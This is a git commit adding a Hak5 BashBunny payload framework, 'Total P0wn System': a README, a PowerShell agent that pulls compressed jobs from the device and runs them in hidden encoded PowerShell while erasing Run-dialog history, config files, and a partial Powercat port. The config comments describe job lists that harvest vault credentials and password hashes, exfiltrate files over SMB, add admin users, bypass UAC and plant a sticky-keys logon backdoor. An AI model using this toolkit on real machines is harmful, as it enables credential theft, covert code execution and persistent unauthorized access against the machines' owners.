Addition to Hak5 payload pack.

pull/252/head
quick209 2017-09-15 23:16:58 -07:00
parent 01dd281e4f
commit a510fb8c63
33 changed files with 6081 additions and 0 deletions

View File

@ -0,0 +1,3 @@
node_modules
.vscode
tmploot/*

View File

@ -0,0 +1,65 @@
# BashBunny Total P0wn System v1.6
Author: PoSHMag1C0de
### Credits:
* PowershellMafia
* For [Powersploit](https://github.com/PowerShellMafia/PowerSploit) that I used snippets from for the bbAgent compression.
* For some of the payloads I included in the example job pack called totalp0wn.
* PowershellEmpire Team
* Love [Empire](https://github.com/EmpireProject/Empire), its agent gave me ideas for the bbAgent.
* Hak5 Team
* Like the Ducky, Loving the Bash Bunny, soon to get the Pineapple.
## Introduction
The BashBunny Total P0wn System is a batch job tool for the [Hak5 BashBunny](https://hakshop.com/products/bash-bunny). It's primary use is to manage multiple Powershell payloads as jobs, receive back the output of those jobs and can deliver payloads you wish to leave behind after the BashBunny is removed as processes. You can even fire off jobs that can call back to the bunny to queue other jobs to be delivered and ran that are stored on the Bunny.
Note: If you are planning on delivering one payload, it is better if you customize a delivery just for it as it will be delivered faster than the BBTPS. The BBTPS will only improve the speed of multiple payloads needing to be delivered as they will be ran asynchronously rather than consecutively.
# Directions
Below will be how to get the BBTPS up and going and using the default payload groups included. I will be working on wiki documentation on how to configure BBTPS to work with your own list of payloads. The link for the wiki will appear here when done. In the meantime, there is a default payload pack for testing and totalp0wn pack with some popular scripts, a couple I created myself.
## Requirements
* BashBunny Firmware version 1.3 +.
* [Impacket](https://forums.hak5.org/index.php?/topic/40971-info-tools/) tools installed on Bash Bunny for smb services.
## Installation
1. Insert your BashBunny into your computer in arming mode.
2. Browse to your file folders on your Bash Bunny to "/payloads/(switch position of your choice)".
3. Copy the contents of the BBTPS folder to the switch location you chose.
4. Configure the jobselect.txt to point to your configuration file. (_currently pointing to TP payload config_)
5. Configure the payload configuration file to point to your folder containing your scripts and point to your joblist file. (_Currently pointing at TotalP0wn scripts folder and joblist 2_).
6. Configure joblist file for scripts to be ran. (_Sample jobslists already in jobs folder and template in templates folder_).
**Payload.txt** should not be modified unless attempting to improve system. Primary files that are safe to edit and are used to configure the BBTPS for your payloads are below.
* jobselect.txt
* This is the first file after payload.txt that is called. It is used for you to easily select the config file that will select your payloads.
* configs/yourconfig.txt
* File that is called by jobselect.txt and is used to point BBTPS to folder that has your script and JSON file that has your list of jobs to run. Also a variable to name your loot root folder, to run as admin or not, debugging flag and quack speed is here.
* jobs folder
* This is where you should put your jobs in its own folder but you are free to put them whereever you like. Just make sure the config file reflects it.
* joblist.json file
* This is the list of scripts and how they she be ran in a json array format. This file can be named anything.
The BBTPS is default configured to use the totalp0wn jobs from joblist2. Templates for the joblists and the config files are stored in the templates folder.
**More documentation will be included in the wiki on advanced configurations and usages. Right now the sample joblists and configs should get you going in the right direction until I get some complete documentation up.**
## FAQ
* Can I run just a single script with the BBTPS?
* Yes but it will probably be faster to create your own single downloader and run since the BBTPS has to download a pretty complex agent first before it begins to pull jobs and has a 3-4second cooldown to make sure no more jobs are to be delivered after the last job ends before it kills itself and lets the BashBunny know it is finished. The BBTPS shines when you have multiple scripts you want to run as they will be ran asynchronously rather than on after another.
* Can I run a app that will run forever like a keylogger or watcher program with the BBTPS?
* Yes but I would include in the joblist JSON file to run it as a process rather than thread. This fires off that app as a process outside of the BBAgent and makes it so there is no stuck job thus never causing the agent to end and tell the Bash Bunny it is done.
* Can I write file exfiltation payloads for the BBTPS?
* Yes, the BBTPS has an SMBServer running on it too. A function and some global variables are delivered inside the job runspace your script runs. The function is to push new job requests back to the BashBunny. The global variables are some environment variables pulled from the BashBunny when the agent started which includes a full path, with BB IP, to the root SMB folder for the bbtps and another one that goes 1 deeper based off the hostname of the machine the BB is running on. Just use the variables in your script and they will have the values you desire when your scripts are ran. **More on this will be in the wiki when done**.
### Contact
If you wish to reach out to me to chat about the BBTPS or talk with a great bunch of folks about anything Bash Bunny, visit the [Hak 5 Bash Bunny Forums.](https://forums.hak5.org/index.php?/forum/92-bash-bunny/)

View File

@ -0,0 +1,471 @@
function Invoke-bbAgent
{
[CmdletBinding()]
Param
(
# IP to job server
[Parameter(Position=0)]
[string]$ServerIP = "172.16.64.1",
#Port of job server
[Parameter(Position=1)]
[int]$Port = 1337
)
#Initialize Global webclient 2.0 compatible.
Write-Verbose "Initializing global variables."
add-type -assembly system.web.extensions
$webc = New-Object System.Net.WebClient
$baseserver = "http://" + $ServerIP + ":" + $Port + "/"
$jobURL = $baseserver + "getJob1"
$dataURL = $baseserver + "pushData"
$configURL = $baseserver + "getConfig"
$addJobURL = $baseserver + "addJob"
#Helper Functions
##################
#Powershell 2 compatable versions of json conversion functions.
function ConvertTo-Json20
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[psobject]$item
)
Write-Verbose "Converting object to JSON."
$ps_js=new-object system.web.script.serialization.javascriptSerializer
return $ps_js.Serialize($item)
}
function ConvertFrom-Json20
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[string]$item
)
Write-Verbose "Converting object from JSON."
$ps_js=new-object system.web.script.serialization.javascriptSerializer
$ps_js.MaxJsonLength = [System.Int32]::MaxValue
#The comma operator is the array construction operator in PowerShell
return ,$ps_js.DeserializeObject($item)
}
#Convert payload encoding formats
#Convert from base64
function ConvertFrom-Base64
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[string]$payload,
[string]$Encoding="utf8"
)
Write-Verbose "Converting string from base64."
if($Encoding -eq "utf8")
{
return [System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64String($payload)))
}
else
{
return [System.Text.Encoding]::Unicode.GetString(([System.Convert]::FromBase64String($payload)))
}
}
function ConvertTo-Base64
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[string]$Payload,
[string]$Encoding="utf8"
)
Write-Verbose "Converting string to base64"
if($Encoding -eq "utf8")
{
return [System.Convert]::toBase64String(([System.Text.Encoding]::UTF8.GetBytes($Payload)))
}
else
{
return [System.Convert]::toBase64String(([System.Text.Encoding]::Unicode.GetBytes($Payload)))
}
}
#Uncompress encoded compressed script
function ConvertFrom-CompressedEncoded
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[string]$CompressedScript
)
Write-Verbose "Converting string from compressed encoding."
$decodedCompressedBytes = [IO.MemoryStream][Convert]::FromBase64String($CompressedScript)
$uncompressedBytes = New-Object IO.Compression.DeflateStream($decodedCompressedBytes,[IO.Compression.CompressionMode]::Decompress)
return (New-Object IO.StreamReader($uncompressedBytes,[Text.Encoding]::ASCII)).ReadToEnd()
}
function Out-EncodedCommand
{
[CmdletBinding( DefaultParameterSetName = 'FilePath')]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
$ScriptBlock,
[Parameter(Position = 0, ParameterSetName = 'FilePath' )]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Switch]
$EncodedOutput
)
if ($PSBoundParameters['Path'])
{
Get-ChildItem $Path -ErrorAction Stop | Out-Null
$ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path))
}
else
{
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock)
}
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
# Generate the code that will decompress and execute the payload.
# This code is intentionally ugly to save space.
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
$CmdMaxLength = 8190
# Build up the full command-line string. Default to outputting a fully base-64 encoded command.
# If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial
$CommandlineOptions = New-Object String[](0)
$CommandlineOptions += '-NoE'
$CommandlineOptions += '-NoP'
$CommandlineOptions += '-NonI'
$CommandlineOptions += "-W Hidden"
$CommandLineOutput = @{}
$CommandLineOutput["payload"] = "$($CommandlineOptions -join ' ') -C `"$NewScript`""
if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput["payload"].Length -le $CmdMaxLength)
{
$UnicodeEncoder = New-Object System.Text.UnicodeEncoding
$CommandLineOutput["Encoded"] = $true
$CommandLineOutput["payload"] = "$($CommandlineOptions -join ' ') -Enc `"$([Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript)))`""
}
if (($CommandLineOutput["payload"].Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput']))
{
$CommandLineOutput["Encoded"] = $false
}
Write-Output $CommandLineOutput
}
function Get-BBConfig
{
[CmdletBinding()]
Param()
$serverconfig = ConvertFrom-Json20 -item $($webc.DownloadString($configURL))
$confstring = @"
`$Script:BB_IP = "$ServerIP"
`$Script:BB_PORT = $([int]$Port)
`$Script:BB_SMBLOOT = "$($serverconfig.BB_SMBLOOT)"
`$Script:BB_SMBROOT = "$($serverconfig.BB_SMBROOT)"
`$Script:BB_TARGET_HOSTNAME = "$($serverconfig.TARGET_HOSTNAME)"
`$Script:BB_ADDJOBURL = "$addJobURL"
"@
$newjobsb = {
function Send-NewJob
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true, Position=0)]
[string]$jobName,
[Parameter(Mandatory=$true, Position=1)]
[string]$command,
[Parameter(Mandatory=$true, Position=2)]
[ValidateSet("process", "thread")]
[string]$runType,
[Parameter(Mandatory=$true, Position=3)]
[string]$scriptName,
[Parameter(Mandatory=$false, Position=4)]
[string]$addjoburl = $BB_ADDJOBURL
)
add-type -assembly system.web.extensions
$webc = New-Object System.Net.WebClient
function ConvertTo-Json20
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[psobject]$item
)
Write-Verbose "Converting object to JSON."
$ps_js=new-object system.web.script.serialization.javascriptSerializer
return $ps_js.Serialize($item)
}
function Send-BBData
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true, Position=0)]
[string]$bbURL,
[Parameter(Mandatory=$true, Position=1)]
[hashtable]$jsonData
)
$jsonJob = ConvertTo-Json20 -item $jsonData
$webc.Headers[[System.Net.HttpRequestHeader]::ContentType] = "application/json"
try
{
$null = $webc.UploadString($bbURL, "POST", $jsonJob)
return $true
}
catch
{
return $false
}
}
#Main Part
$jobData = @{
jobName = $jobName
command = $command
runType = $runType
scriptName = $scriptName
}
return (Send-BBData $addjoburl $jobData)
}
}
$confstring += "`r`n`r`n{0}" -f ($newjobsb.ToString())
return ([scriptblock]::Create($confstring))
}
function Send-ReturnData
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[psobject]$ReturnData
)
$jsonJob = ConvertTo-Json20 -item $ReturnData
Write-Verbose ("Data being sent is: {0}" -f $jsonJob)
Write-Verbose ("Url being sent to: {0}" -f $dataURL)
$webc.Headers[[System.Net.HttpRequestHeader]::ContentType] = "application/json"
Write-Verbose ("Content Type is: {0}" -f $webc.Headers[[System.Net.HttpRequestHeader]::ContentType])
try
{
$null = $webc.UploadString($dataURL, "POST", $jsonJob)
return $true
}
catch
{
return $false
}
}
#JobCycle
function Start-JobCycle
{
[CmdletBinding()]
Param()
$emptycount = 0
Write-Verbose "Beginning Job loop inside Start-Job function."
while($emptycount -le 3)
{
Write-Verbose "Testing to see if server machine is online."
if(Test-Connection -ComputerName $ServerIP -Count 1 -Quiet)
{
if([string]::IsNullOrEmpty($BBConfig))
{
Write-Verbose "Reading BBConfig"
$BBConfig = Get-BBConfig
}
else
{
Write-Verbose "BBConfig already acquired, skipping reading."
}
Write-Verbose "Checking for finished jobs."
$doneJobs = Get-Job | Where-Object {@("Completed","Blocked","Failed") -contains $_.State}
if($doneJobs)
{
Write-Verbose "Jobs were found, processing."
$doneJobs | Where-Object {$_.state -eq "Completed"} | ForEach-Object {
Write-Verbose ("Completed jobs are: {0}" -f ($_ | out-string))
if($_.HasMoreData)
{
$jobData = Receive-Job $_ -ErrorAction SilentlyContinue -ErrorVariable "jobError" | Out-String
$jobData += "`r`n{0}" -f $($jobError | Out-String)
if([string]::IsNullOrEmpty($jobData))
{
Write-Verbose ("Job:{0} has no data, returning default." -f $_.Name)
$jobdata = "Job finished, no data"
}
$returnobj = @{
jobName = $_.Name
data = $jobData
}
Write-Verbose ("Removing Job:{0} and sending data." -f $_.Name)
$null = remove-job $_
if(Send-ReturnData -ReturnData $returnobj)
{
Write-Verbose "Data successfully returned."
}
else
{
Write-Verbose "Failed to return Data."
}
}
}
$doneJobs | Where-Object {@("Blocked","Failed") -contains $_.State} | ForEach-Object {
Write-Verbose ("Blocked and Failed Jobs are: {0}" -f ($_ | out-string))
$jobData = "Job was terminated because it failed or was in block state for user input.`r`n"
if($_.HasMoreData)
{
$jobData += Receive-Job $_ -ErrorAction SilentlyContinue -ErrorVariable "jobError"
if($jobError)
{
$jobData += "`r`n{0}" -f $jobError
}
}
$returnobj = @{
jobName = $_.Name
data = $jobData
}
Write-Verbose ("Removing and sending Job: {0}" -f $_.Name)
$null = Stop-Job $_ -PassThru | Remove-Job
if(Send-ReturnData -ReturnData $returnobj)
{
Write-Verbose "Data successfully returned."
}
else
{
Write-Verbose "Data unsuccessfully returned."
}
}
}
Write-Verbose "Getting jobs from server."
Try
{
$payloadobj = ConvertFrom-Json20 -item $($webc.DownloadString($jobURL))
}
catch
{
$payloadobj = $null
}
if($payloadobj -and $payloadobj.payload -ne "none")
{
$emptycount = 0
if($payloadobj.payload)
{
$payloadobj.payload = ConvertFrom-CompressedEncoded -CompressedScript $($payloadobj.payload)
}
if(-not [string]::IsNullOrEmpty($payloadobj.payload))
{
Write-Verbose "Appending command to script."
$payloadobj.payload += $payloadobj.command
}
else
{
Write-Verbose "Command is empty, not appending"
}
Write-Verbose $payloadobj.payload
Write-Verbose ("Checking for runType which is: {0}" -f $payloadobj.runType)
if($payloadobj.runType -eq "process")
{
Write-Verbose "Running job as process."
if($payloadobj.payload.Length -lt 400)
{
$paydirt = ConvertTo-Base64 -Payload $payloadobj.payload -Encoding "unicode"
$paydirt = "-NonI -NoP -W Hidden -ENC $paydirt"
}
else
{
$paydirt = (Out-EncodedCommand -ScriptBlock ([scriptblock]::Create($payloadobj.payload))).payload
}
try {
Write-Verbose $paydirt
$processObj = Start-Process "Powershell" -WindowStyle "Hidden" -ArgumentList $paydirt -PassThru
Remove-Variable -Name "paydirt"
$retProc = @{
jobName = $payloadobj.jobName
data = "Job started under process {0}" -f ($processObj.Id)
}
}
catch {
Remove-Variable -Name "paydirt"
$retProc = @{
jobName = $payloadobj.jobName
data = $_.Exception.Message
}
}
if(Send-ReturnData -ReturnData $retProc)
{
Write-Verbose "Returned successful process data."
}
}
else
{
Write-Verbose "Creating scriptblock from payload."
$payload = [scriptblock]::Create(($payloadobj.payload))
Write-Verbose "Starting job from payload."
$null = Start-Job -Name $($payloadobj.jobName) -ScriptBlock $payload -InitializationScript ($BBConfig)
}
}
elseif((Get-Job))
{
Write-Verbose "Jobs still running, no jobs on server queue, resetting timeout."
$emptycount = 0
}
else
{
Write-Verbose "Job queue empty, no more jobs from server, timeout incremented."
$emptycount++
}
}
else
{
Write-Verbose "Server not found, incrementing timeout counter."
$emptycount++
}
Write-Verbose "Sleeping for 1 seconds."
Write-Verbose ("Count is at: {0}" -f $emptycount)
Write-Verbose (Get-Job | Out-String)
Start-Sleep -Seconds 1
}
Write-Verbose "Sending server quit command."
try
{
$null = $webc.DownloadString($baseserver + "quit")
}
catch
{
Write-Verbose "Server is not up, quit was not received."
}
}
Start-JobCycle
Write-Verbose "Garbage collecting before exiting."
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
[System.GC]::Collect()
}

View File

@ -0,0 +1,30 @@
#!/bin/bash
#Default configuration file for BBTPS.
#You can use this file as a template, do not leave any settings out or
#You will get errors.
# Bunny root loot folder name.
export ROOTFOLDERNAME="bbtps"
# Folder where scripts live.
export JOBFOLDER="$PAYLOADFOLDER/jobs/default"
# Job runlist json file.
export JOBLIST="$JOBFOLDER/default/joblist.json"
# Do you want the stager to run as admin, 1 for yes, 0 for no.
export GETADMIN=1
# ATTACKMODE TYPES
# 0 = SINGLE/ 1 = DUAL
export ATMODE=0
# Enable/Disable debug. 1 for on, 0 for off.
export DEBUG=1
# First Quack Delay, after running initial command from run prompt.
export Q_DELAY1=8000
# Second Quack Delay, if getting admin then this is ran after selecting Yes.
export Q_DELAY2=8000

View File

@ -0,0 +1,47 @@
#!/bin/bash
#Default configuration file for BBTPS.
#You can use this file as a template, do not leave any settings out or
#You will get errors.
# Bunny root loot folder name.
export ROOTFOLDERNAME="bbtps"
# Folder where scripts live.
export JOBFOLDER="$PAYLOADFOLDER/jobs/totalp0wn"
#########################################################################
# BELOW UNCOMMENT ONE OF THE JOBLIST YOU WANT TO RUN FROM THE TOTAL P0WN GROUP. DESCRIPTIONS ARE LISTED ABOVE EACH.
# Job runlist json file.
# Joblist1 runs Get-VaultCredentials, Invoke-Mimidogz, Invoke-PowerDump and Invoke-AddAdminUser.
# If not ran as admin then only VaultCredentials will return anything if anything present.
#export JOBLIST="$JOBFOLDER/joblist1.json"
# Joblist2 will always Get-VaultCredentials and Invoke-SMBExfil. It will run Invoke-AdminJobs to check for admin and if
# it is running as UACbypassed Admin it will call back to the server to queue up to be delivered and ran: Mimidogz, PowerDump,
# and AddAdminUser.
export JOBLIST="$JOBFOLDER/joblist2.json"
# Joblist3 is the signature Total P0wn job load. When ran as non-admin the following scripts will run:
# VaultCredentials, Powercat (Powershell Netcat, requires another machine running Powercat or NCat), SMBExfil.
# If ran as admin then the AddAdminJobsTP will test true to UACBypassed admin and queue up the following jobs:
# Mimidogz, PowerDump, AddAdminUser and SethcBD (Sets a local backdoor for even locked machines when you hit SHIFT
# 5 times will get a UACBypassed System level cmd prompt from logon screen and even lock screen.)
#export JOBLIST="$JOBFOLDER/joblist3.json"
#########################################################################
# Do you want the stager to run as admin, 1 for yes, 0 for no.
export GETADMIN=1
# ATTACKMODE TYPES
# 0 = SINGLE/ 1 = DUAL
export ATMODE=1
# Enable/Disable debug. 1 for on, 0 for off.
export DEBUG=0
# First Quack Delay, after running initial command from run prompt.
export Q_DELAY1=8000
# Second Quack Delay, if getting admin then this is ran after selecting Yes.
export Q_DELAY2=8000

View File

@ -0,0 +1,29 @@
// Helper Modules
var jfs = require('fs');
function jobsParser(jobsObj, jbFldr){
jbFldr = jbFldr + "/";
var runType = ['thread','process'];
if(jobsObj instanceof Array){
var returnJob = new Array();
for(i=0;i<jobsObj.length;i++){
if(jfs.existsSync(jbFldr + jobsObj[i].scriptName) && runType.indexOf(jobsObj[i].runType.toLowerCase()) > -1){
jobsObj[i].scriptName = jbFldr + jobsObj[i].scriptName;
returnJob.push(jobsObj[i])
}else{
console.log("removing job, script file invalid");
}
}
}else{
if(jfs.existsSync(jbFldr + jobsObj.scriptName) && runType.indexOf(jobsObj.runType) > -1){
jobsObj.scriptName = jbFldr + jobsObj.scriptName;
var returnJob = jobsObj;
}else{
var returnJob = null;
console.log('removing job, script file invalid');
}
}
return returnJob;
}
exports.jobParser = jobsParser;

View File

@ -0,0 +1,18 @@
[{
"jobName" :"testjob1",
"command" :"get-selecteddir -Path 'c:\\'",
"runType" :"thread",
"scriptName":"testjob1.ps1"
},
{
"jobName" :"testjob2",
"command" :"get-selecteddir -Path $env:userprofile\\Documents",
"runType" :"thread",
"scriptName":"testjob1.ps1"
},
{
"jobName" :"testjob3",
"command" :"get-selecteddir -Path $env:userprofile\\Documents | set-content c:\\temp\\test.txt",
"runType" :"process",
"scriptName":"testjob1.ps1"
}]

View File

@ -0,0 +1,21 @@
# Test job, will pull a directory listing and output as a string
function get-selecteddir
{
Param(
[Parameter(Mandatory=$true)]
[string]$Path
)
$returnobj = "Directories are : `r`n"
$returnobj += (get-childitem -path $Path | out-string) + "`r`n"
$returnobj += "BashBunny Target host's name:{0}`r`n" -f $BB_TARGET_HOSTNAME
$returnobj += "BashBunny IP:{0}`r`n" -f $BB_IP
$returnobj += "BashBunny Port:{0}`r`n" -f $BB_PORT
$returnobj += "BashBunny SMB Loot Directory:{0}`r`n" -f $BB_SMBLOOT
$returnobj += "BaseBunny SMB Root Directory:{0}`r`n" -f $BB_SMBROOT
$returnobj += "BashBunny Add Job URL path is:{0}`r`n" -f $BB_ADDJOBURL
$returnobj += "Internal function to send new job is: Send-NewJob`r`n"
$returnobj += "Parameters are:`r`n`t-jobName`r`n`t-command`r`n`t-runType`r`n`t-scriptName`r`n"
return $returnobj
}

View File

@ -0,0 +1,933 @@
function New-RuntimeParameter {
<#
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[Type]$Type,
[Parameter(Position = 1, Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String]$Name,
[Parameter()]
[ValidateNotNullOrEmpty()]
[String[]]$Alias,
[Parameter()]
[ValidateNotNullOrEmpty()]
[Int]$Position,
[Parameter()]
[Switch]$Mandatory,
[Parameter()]
[ValidateNotNullOrEmpty()]
[String]$HelpMessage,
[Parameter()]
[ValidateNotNullOrEmpty()]
[String[]]$ValidateSet,
[Parameter()]
[ValidateNotNullOrEmpty()]
[Regex]$ValidatePattern,
[Parameter()]
[Switch]$ValueFromPipeline,
[Parameter()]
[Switch]$ValueFromPipelineByPropertyName,
[Parameter()]
[ValidateNotNullOrEmpty()]
[String]$ParameterSetName = '__AllParameterSets',
[Parameter()]
[System.Management.Automation.RuntimeDefinedParameterDictionary]$ParameterDictionary
)
#create a new ParameterAttribute Object
$Attribute = New-Object Management.Automation.ParameterAttribute
$Attribute.ParameterSetName = $ParameterSetName
if ($PSBoundParameters.Position) { $Attribute.Position = $Position }
if ($Mandatory.IsPresent) { $Attribute.Mandatory = $true }
else { $Attribute.Mandatory = $false }
if ($PSBoundParameters.HelpMessage) { $Attribute.HelpMessage = $HelpMessage }
if ($ValueFromPipeline.IsPresent) { $Attribute.ValueFromPipeline = $true }
else { $Attribute.ValueFromPipeline = $false }
if ($ValueFromPipelineByPropertyName.IsPresent) { $Attribute.ValueFromPipelineByPropertyName = $true }
else { $Attribute.ValueFromPipelineByPropertyName = $false }
#create an attributecollection object for the attribute we just created.
$AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute]
if ($PSBoundParameters.ValidateSet) {
$ParamOptions = New-Object Management.Automation.ValidateSetAttribute -ArgumentList $ValidateSet
$AttributeCollection.Add($ParamOptions)
}
if ($PSBoundParameters.Alias) {
$ParamAlias = New-Object Management.Automation.AliasAttribute -ArgumentList $Alias
$AttributeCollection.Add($ParamAlias)
}
if ($PSBoundParameters.ValidatePattern) {
$ParamPattern = New-Object Management.Automation.ValidatePatternAttribute -ArgumentList $ValidatePattern
$AttributeCollection.Add($ParamPattern)
}
#add our custom attribute
$AttributeCollection.Add($Attribute)
$Parameter = New-Object Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)
if($PSBoundParameters.ParameterDictionary) { $ParameterDictionary.Add($Name, $Parameter) }
else {
$Dictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary
$Dictionary.Add($Name, $Parameter)
Write-Output $Dictionary
}
}
function Test-Port {
<#
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
#>
Param (
[Parameter(Position = 0, Mandatory = $true)]
[Int]$Number,
[Parameter(Position = 1)]
[ValidateSet('Tcp','Udp')]
[String]$Transport
)
$IPGlobalProperties = [Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()
if ($Transport -eq 'Tcp') {
foreach ($Connection in $IPGlobalProperties.GetActiveTcpConnections()) {
if ($Connection.LocalEndPoint.Port -eq $Number) {
Write-Warning "Port $Number`:Tcp is already in use."
return $false
}
}
foreach ($Listener in $IPGlobalProperties.GetActiveTcpListeners()) {
if ($Listener.Port -eq $Number) {
Write-Warning "Port $Number`:Tcp is already in use."
return $false
}
}
}
elseif ($Transport -eq 'Udp') {
foreach ($Listener in $IPGlobalProperties.GetActiveUdpListeners()) {
if ($Listener.Port -eq $Number) {
Write-Warning "Port $Number`:Udp is already in use."
return $false
}
}
}
else { # check both Tcp & Udp
foreach ($Connection in $IPGlobalProperties.GetActiveTcpConnections()) {
if ($Connection.LocalEndPoint.Port -eq $Number) {
Write-Warning "Port $Number`:Tcp is already in use."
return $false
}
}
foreach ($Listener in $IPGlobalProperties.GetActiveTcpListeners()) {
if ($Listener.Port -eq $Number) {
Write-Warning "Port $Number`:Tcp is already in use."
return $false
}
}
foreach ($Listener in $IPGlobalProperties.GetActiveUdpListeners()) {
if ($Listener.Port -eq $Number) {
Write-Warning "Port $Number`:Udp is already in use."
return $false
}
}
}
return $true
}
function New-X509Certificate {
<#
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
#>
Param (
[Parameter(Position = 0, Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String]$CommonName
)
$DN = New-Object -ComObject 'X509Enrollment.CX500DistinguishedName.1'
$DN.Encode("CN=$CommonName", 0)
$PrivateKey = New-Object -ComObject 'X509Enrollment.CX509PrivateKey.1'
$PrivateKey.ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
$PrivateKey.KeySpec = 1 # XCN_AT_KEYEXCHANGE
$PrivateKey.ExportPolicy = 2 # XCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG
$PrivateKey.MachineContext = $true
$PrivateKey.Length = 2048
$PrivateKey.Create()
$HashAlg = New-Object -ComObject 'X509Enrollment.CObjectId.1'
$HashAlg.InitializeFromAlgorithmName(1, 0, 0, 'SHA512')
$ServerAuthOid = New-Object -ComObject 'X509Enrollment.CObjectId.1'
$ServerAuthOid.InitializeFromValue('1.3.6.1.5.5.7.3.1')
$EkuOid = New-Object -ComObject 'X509Enrollment.CObjectIds.1'
$EkuOid.Add($ServerAuthOid)
$EkuExtension = New-Object -ComObject 'X509Enrollment.CX509ExtensionEnhancedKeyUsage.1'
$EkuExtension.InitializeEncode($EkuOid)
$Certificate = New-Object -ComObject 'X509Enrollment.CX509CertificateRequestCertificate.1'
$Certificate.InitializeFromPrivateKey(2, $PrivateKey, '')
$Certificate.Subject = $DN
$Certificate.Issuer = $Certificate.Subject
$Certificate.NotBefore = [DateTime]::Now.AddDays(-1)
$Certificate.NotAfter = $Certificate.NotBefore.AddDays(90)
$Certificate.X509Extensions.Add($EkuExtension)
$Certificate.HashAlgorithm = $HashAlg
$Certificate.Encode()
$Enroll = New-Object -ComObject 'X509Enrollment.CX509Enrollment.1'
$Enroll.InitializeFromRequest($Certificate)
$Enroll.CertificateFriendlyName = $CommonName
$Csr = $Enroll.CreateRequest()
$Enroll.InstallResponse(2, $Csr, 1, '')
$Base64 = $Enroll.CreatePFX('', 0)
$Bytes = [Convert]::FromBase64String($Base64)
$X509Cert = New-Object Security.Cryptography.X509Certificates.X509Certificate2($Bytes, '')
return $X509Cert
}
function New-SmbStream {
<#
Author: Jesse Davis (@secabstraction)
License: BSD 3-Clause
#>
[CmdletBinding(DefaultParameterSetName = 'Client')]
Param (
[Parameter(Position = 0, ParameterSetName = 'Client')]
[String]$ServerIp,
[Parameter(Position = 0, ParameterSetName = 'Listener')]
[Switch]$Listener,
[Parameter(Position = 1)]
[ValidateNotNullorEmpty()]
[String]$PipeName,
[Parameter(Position = 3)]
[Int]$Timeout = 60,
[Parameter()]
[Int]$BufferSize = 65536
)
if ($Listener.IsPresent) {
$PipeSecurity = New-Object IO.Pipes.PipeSecurity
$PipeServer = New-Object IO.Pipes.NamedPipeServerStream($PipeName, 3, 1, 0, [IO.Pipes.PipeOptions]::Asynchronous, $BufferSize, $BufferSize, $PipeSecurity, 0, [IO.Pipes.PipeAccessRights]::ChangePermissions)
$PipeSecurity = $PipeServer.GetAccessControl()
$PipeSecurity.AddAccessRule((New-Object IO.Pipes.PipeAccessRule("Everyone", [IO.Pipes.PipeAccessRights]::FullControl, 0)))
$PipeServer.SetAccessControl($PipeSecurity)
$ConnectResult = $PipeServer.BeginWaitForConnection($null, $null)
Write-Verbose "Listening on 0.0.0.0:$PipeName [smb]"
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
[console]::TreatControlCAsInput = $true
do {
if ([console]::KeyAvailable) {
$Key = [console]::ReadKey($true)
if ($Key.Key -eq [Consolekey]::Escape) {
Write-Warning "Caught escape sequence, stopping Smb Setup."
[console]::TreatControlCAsInput = $false
$PipeServer.Dispose()
$Stopwatch.Stop()
return
}
}
if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) {
Write-Warning "Timeout exceeded, stopping Smb Setup."
[console]::TreatControlCAsInput = $false
$PipeServer.Dispose()
$Stopwatch.Stop()
return
}
} until ($ConnectResult.IsCompleted)
[console]::TreatControlCAsInput = $false
$Stopwatch.Stop()
try { $PipeServer.EndWaitForConnection($ConnectResult) }
catch {
Write-Warning "Pipe server connection failed. $($_.Exception.Message)."
$PipeServer.Dispose()
return
}
Write-Verbose "Connection from client accepted."
$Buffer = New-Object Byte[] $BufferSize
$Properties = @{
Pipe = $PipeServer
Buffer = $Buffer
Read = $PipeServer.BeginRead($Buffer, 0, $Buffer.Length, $null, $null)
}
New-Object psobject -Property $Properties
